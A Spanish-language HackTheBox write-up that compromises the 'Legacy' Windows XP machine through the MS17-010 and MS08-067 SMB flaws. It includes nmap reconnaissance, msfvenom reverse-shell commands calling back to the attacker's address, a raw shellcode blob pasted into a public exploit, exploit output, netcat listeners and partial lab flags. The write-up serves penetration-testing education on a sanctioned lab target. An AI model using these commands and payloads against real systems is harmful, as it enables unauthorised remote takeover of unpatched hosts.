HTB Legacy

¡Hola! En esta ocasión vamos a resolver de la maquina Legacy de HackTheBox. La máquina es nivel “Easy”, sin embargo, el nivel siempre se lo pones tú, al enfrentar estos retos, ¡vamos a ponernos hack!

PREPARACIÓN

Para iniciar nuestra máquina, vamos a crear con nuestra función mkhack un directorio de trabajo con el nombre legacy y los subdirectorios recon junto con exploit, con el objetivo de organizar la información que recopilemos en la realización de la máquina.

❯ mkhack legacy
❯ cd !$/recon

RECONOCIMIENTO

Accedemos al directorio recon e iniciamos nuestra fase de reconocimiento sobre el objetivo por medio de nuestra utilidad osping detectando el tipo de sistema operativo basado en el ttl time to live de una traza ICMP.

  ❯ osping 10.10.10.4
  
  [*] Detectando sistema operativo ...
  
  [+] 10.10.10.4 ttl=127 >> Windows

Identificamos que es una maquina Windows debido a su ttl (time to live) correspondiente a 127 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).

  • TTL => 64 Linux
  • TTL => 128 Windows

Continuamos con la enumeración de los 65535 puertos en la máquina.

sudo nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.10.4 -oG ports | grep   open
  135/tcp open  msrpc
  139/tcp open  netbios-ssn
  445/tcp open  microsoft-ds

Luego de identificar los puertos abiertos OPEN, se procede a escanear servicios y versiones que puedan estar en nuestro objetivo.

  ❯ nmap -p135,139,445 -sCV 10.10.10.4 -oN versions
  PORT    STATE SERVICE      VERSION
  135/tcp open  msrpc        Microsoft Windows RPC
  139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
  445/tcp open  microsoft-ds Windows XP microsoft-ds
  Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o  :microsoft:windows_xp
  
  Host script results:
  |_clock-skew: mean: 5d00h27m39s, deviation: 2h07m16s, median: 4d22h57m39s
  | smb-security-mode:
  |   account_used: guest
  |   authentication_level: user
  |   challenge_response: supported
  |_  message_signing: disabled (dangerous, but default)
  |_smb2-time: Protocol negotiation failed (SMB2)
  |_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:5  6:b9:44:fa (VMware)
  | smb-os-discovery:
  |   OS: Windows XP (Windows 2000 LAN Manager)
  |   OS CPE: cpe:/o:microsoft:windows_xp::-
  |   Computer name: legacy
  |   NetBIOS computer name: LEGACY\x00
  |   Workgroup: HTB\x00
  |_  System time: 2022-07-18T08:08:49+03:00i

RECONOCIMIENTO SMB

Iniciamos con el reconocimiento del servicio smb donde inicialmente ejecutamos todos los scripts potencialmente vulnerables soportados por nmap, en búsqueda de posibles CVEs vulnerables en la máquina.

  ❯ nmap -p135,139,445 10.10.10.4 --script "smb-vuln*"
  Host script results:
  | smb-vuln-ms08-067:
  |   VULNERABLE:
  |   Microsoft Windows system vulnerable to remote code execution (MS08-067)
  |     State: VULNERABLE
  |     IDs:  CVE:CVE-2008-4250
  |           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
  |           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrar  y
  |           code via a crafted RPC request that triggers the overflow during path canonicalization.
  |
  |     Disclosure date: 2008-10-23
  |     References:
  |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
  |_      https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
  | smb-vun-ms17-010:
  |   VULNERABLE:
  |   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
  |     State: VULNERABLE
  |     IDs:  CVE:CVE-2017-0143
  |     Risk factor: HIGH
  |       A critical remote code execution vulnerability exists in Microsoft SMBv1
  |        servers (ms17-010).
  |
  |     Disclosure date: 2017-03-14
  |     References:
  |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143                                   
  |       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/  
  |_      https://technet.microsoft.com/en-us/library/security/ms17-010.aspx                             
  |_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)                                  
  |_smb-vuln-ms10-054: false

¡Encontramos dos CVE que presentan vulnerabilidades en la máquina! ms17-010 y MS08-067.

EXPLOTACION POR MS17-010

Vamos a realizar la explotación de nuestro primer CVE, para este caso haremos uso del script de github de helviojunior para esta explotación es necesario tener instalado python2.

  ❯ git clone https://github.com/helviojunior/MS17-010
  ❯ cd MS17-010/

Creamos un ambiente virtual de python2 para poder ejecutar el script sin presentar errores por librerías sin soporte.

  ❯ virtualenv -p python2 ms17-010
  ❯ source ms17-010/bin/activate

Ahora que nos encontramos en el ambiente virtual, procedemos a descargar la librería impacket requerida para ejecutar el exploit.

  pip install impacket

Como primer paso, vamos a ejecutar el checker.py que nos ayuda a identificar el nombre del pipe que vamos a utilizar en el script de explotación.

 ❯ python checker.py 10.10.10.4
  Trying to connect to 10.10.10.4:445
  Target OS: Windows 5.1
  The target is not patched
  
  === Testing named pipes ===
  spoolss: Ok (32 bit)
  samr: STATUS_ACCESS_DENIED
  netlogon: STATUS_ACCESS_DENIED
  lsarpc: STATUS_ACCESS_DENIED
  browser: Ok (32 bit)

Tal como podemos ver, los nombres de pipe que podemos utilizar son los de status OK, en este caso spoolss y browser.

Para poder tener éxito, es necesario generar una reverse shell por medio de la utilidad msfvenom con nuestra dirección IP y puerto de escucha para obtener posteriormente la shell denominada reverseShell.exe

  ❯ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.6 LPORT=4564 -f exe -o reverseShell.exe

Ahora que tenemos el pipe y la reverse shell generada, procedemos a ejecutar el script de explotación send_and_execute.py para cargar y ejecutar el payload.

  ❯ python send_and_execute.py 10.10.10.4 reverseShell.exe 445 spoolss
  Trying to connect to 10.10.10.4:445
  Target OS: Windows 5.1
  Groom packets
  attempt controlling next transaction on x86
  success controlling one transaction
  modify parameter count to 0xffffffff to be able to write backward
  leak next transaction
  CONNECTION: 0x8652bce0
  SESSION: 0xe239f1c8
  FLINK: 0x7bd48
  InData: 0x7ae28
  MID: 0xa
  TRANS1: 0x78b50
  TRANS2: 0x7ac90
  modify transaction struct for arbitrary read/write
  make this SMB session to be SYSTEM
  current TOKEN addr: 0xe23d7468
  userAndGroupCount: 0x3
  userAndGroupsAddr: 0xe23d7508
  overwriting token UserAndGroups
  Sending file 850ZDK.exe...
  Opening SVCManager on 10.10.10.4.....
  Creating service rhVR.....
  Starting service rhVR.....
  The NETBIOS connection with the remote host timed out.
  Removing service rhVR.....
  ServiceExec Error on: 10.10.10.4
  nca_s_proto_error
  Done

Generamos un listener por el puerto escogido y obtenemos acceso al sistema como usuario NT Authority/System

  ❯ rlwrap nc -lvnp 4564
  listening on [any] 4564 ...
  connect to [10.10.14.6] from (UNKNOWN) [10.10.10.4] 1034
  Microsoft Windows XP [Version 5.1.2600]
  (C) Copyright 1985-2001 Microsoft Corp.
  
  hostname
  hostname
  legacy
  C:\WINDOWS\system32>

EXPLOTACION MS08-067

Vamos a realizar la explotación de nuestro segundo CVE, para este caso haremos uso del script de github de andyacer para esta explotación es necesario tener instalado python2.

  ❯ git clone https://github.com/andyacer/ms08_067
  ❯ cd ms08_067/

Creamos un ambiente virtual de python2 para poder ejecutar el script sin presentar errores por librerías sin soporte.

  ❯ virtualenv -p python2 ms08_067
  ❯ source ms08_067/bin/activate

Ahora que nos encontramos en el ambiente virtual, procedemos a descargar la librería impacket y pycrypto requerida para ejecutar el exploit.

  pip install impacket
  pip install pycrypto

Al igual que en la anterior explotación, por medio de msfvenom generamos una reverse shell, pero en este caso generamos un shellcode el cual vamos a reemplazar directamente en el script de explotación

❯ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.7 LPORT=4564 EXITFUNC=thread -b "\x00\x0a\x0d\x5  c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows
  vim ms08_067_2018.py
  
  **Nos ubicamos en la linea 44 y reemplazamos el shellcode
  
   shellcode=(
    "\x29\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
    "\xf3\xf1\xc3\xeb\x83\xee\xfc\xe2\xf4\x0f\x19\x41\xeb\xf3\xf1"
    "\xa3\x62\x16\xc0\x03\x8f\x78\xa1\xf3\x60\xa1\xfd\x48\xb9\xe7"
    "\x7a\xb1\xc3\xfc\x46\x89\xcd\xc2\x0e\x6f\xd7\x92\x8d\xc1\xc7"
    "\xd3\x30\x0c\xe6\xf2\x36\x21\x19\xa1\xa6\x48\xb9\xe3\x7a\x89"
    "\xd7\x78\xbd\xd2\x93\x10\xb9\xc2\x3a\xa2\x7a\x9a\xcb\xf2\x22"
    "\x48\xa2\xeb\x12\xf9\xa2\x78\xc5\x48\xea\x25\xc0\x3c\x47\x32"
    "\x3e\xce\xea\x34\xc9\x23\x9e\x05\xf2\xbe\x13\xc8\x8c\xe7\x9e"
    "\x17\xa9\x48\xb3\xd7\xf0\x10\x8d\x78\xfd\x88\x60\xab\xed\xc2"
    "\x38\x78\xf5\x48\xea\x23\x78\x87\xcf\xd7\xaa\x98\x8a\xaa\xab"
    "\x92\x14\x13\xae\x9c\xb1\x78\xe3\x28\x66\xae\x99\xf0\xd9\xf3"
    "\xf1\xab\x9c\x80\xc3\x9c\xbf\x9b\xbd\xb4\xcd\xf4\x0e\x16\x53"
    "\x63\xf0\xc3\xeb\xda\x35\x97\xbb\x9b\xd8\x43\x80\xf3\x0e\x16"
    "\xbb\xa3\xa1\x93\xab\xa3\xb1\x93\x83\x19\xfe\x1c\x0b\x0c\x24"
    "\x54\x81\xf6\x99\xc9\xe1\xfd\xf6\xab\xe9\xf3\xe0\x17\x62\x15"
    "\x9b\xd3\xbd\xa4\x99\x5a\x4e\x87\x90\x3c\x3e\x76\x31\xb7\xe7"
    "\x0c\xbf\xcb\x9e\x1f\x99\x33\x5e\x51\xa7\x3c\x3e\x9b\x92\xae"
    "\x8f\xf3\x78\x20\xbc\xa4\xa6\xf2\x1d\x99\xe3\x9a\xbd\x11\x0c"
    "\xa5\x2c\xb7\xd5\xff\xea\xf2\x7c\x87\xcf\xe3\x37\xc3\xaf\xa7"
    "\xa1\x95\xbd\xa5\xb7\x95\xa5\xa5\xa7\x90\xbd\x9b\x88\x0f\xd4"
    "\x75\x0e\x16\x62\x13\xbf\x95\xad\x0c\xc1\xab\xe3\x74\xec\xa3"
    "\x14\x26\x4a\x23\xf6\xd9\xfb\xab\x4d\x66\x4c\x5e\x14\x26\xcd"
    "\xc5\x97\xf9\x71\x38\x0b\x86\xf4\x78\xac\xe0\x83\xac\x81\xf3"
    "\xa2\x3c\x3e"
    )  

Ahora que tenemos la información actualizada vamos a ejecutar el exploit.

❯ python ms08_067_2018.py 10.10.10.4 6 445
  #######################################################################
  #   MS08-067 Exploit
  #   This is a modified verion of Debasis Mohanty's code (https://www.exploit-db.com/exploits/7132/).
  #   The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_0  67_netapi
  #
  #   Mod in 2018 by Andy Acer:
  #   - Added support for selecting a target port at the command line.
  #     It seemed that only 445 was previously supported.
  #   - Changed library calls to correctly establish a NetBIOS session for SMB transport
  #   - Changed shellcode handling to allow for variable length shellcode. Just cut and paste
  #     into this source file.
  #######################################################################
  
  Windows XP SP3 English (NX)
  
  [-]Initiating connection
  [-]connected to ncacn_np:10.10.10.4[\pipe\browser]
  Exploit finish
  
  Ponemos un listener logrando obtener una reverse shell exitosamente

Generamos un listener por el puerto escogido y obtenemos acceso al sistema como usuario NT Authority/System

  ❯ rlwrap nc -lvnp 4564
  listening on [any] 4564 ...
  connect to [10.10.14.7] from (UNKNOWN) [10.10.10.4] 1032
  Microsoft Windows XP [Version 5.1.2600]
  (C) Copyright 1985-2001 Microsoft Corp.
  
  hostname
  hostname
  legacy

ESCALADA DE PRIVILEGIOS

En esta ocasión el escalamiento de privilegios no fue necesario debido a que la explotación de ambos CVEs nos permitió el acceso al usuario administrador directamente, dando una ventaja en cuando a la búsqueda de vías potenciales de escalamiento.

FLAGS

Lo único que nos queda es leer las banderas de user y root. Pueden ver la flag con type, pero para hacerlo más retador solo dejaré los primeros 10 caracteres de la flag.

 dir /b/s user.txt
 C:\Documents and Settings\john\Desktop\user.txt
 set /P user=<"C:\Documents and Settings\john\Desktop\user.txt"
 echo.%user:~0,10%
 e69af0e4f4
dir /b/s root.txt
C:\Documents and Settings\Administrator\Desktop\root.txt  
set /P root=<"C:\Documents and Settings\Administrator\Desktop\root.txt"
echo.%root:~0,10%
993442d258

¡Hemos logrado completar la máquina Legacy de HackTheBox!

¡Que tengan un buen día en el planeta donde se encuentren!

Nos vemos en otro bit.